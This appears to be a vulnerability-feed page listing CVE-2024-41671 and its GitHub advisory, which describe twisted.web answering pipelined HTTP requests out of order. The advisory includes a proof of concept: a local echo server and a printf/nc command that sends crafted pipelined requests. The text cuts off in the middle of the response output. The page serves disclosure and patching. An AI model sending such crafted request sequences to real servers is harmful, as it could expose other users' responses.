Most recent entries from all

CVE-2024-41671 — twisted.web has disordered HTTP pipeline response

2026-10-03T22:19:40.685831+00:00

Affected: twisted

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.

GHSA-c8m8-j448-xjx7 — twisted.web has disordered HTTP pipeline response

2026-10-03T22:19:40.685945+00:00

Affected: PyPI: twisted

### Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor

class TheResource(resource.Resource): isLeaf = True

def render_GET(self, request) -> bytes: return b"GET"

def render_POST(self, request) -> bytes: return b"POST"

site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Conte…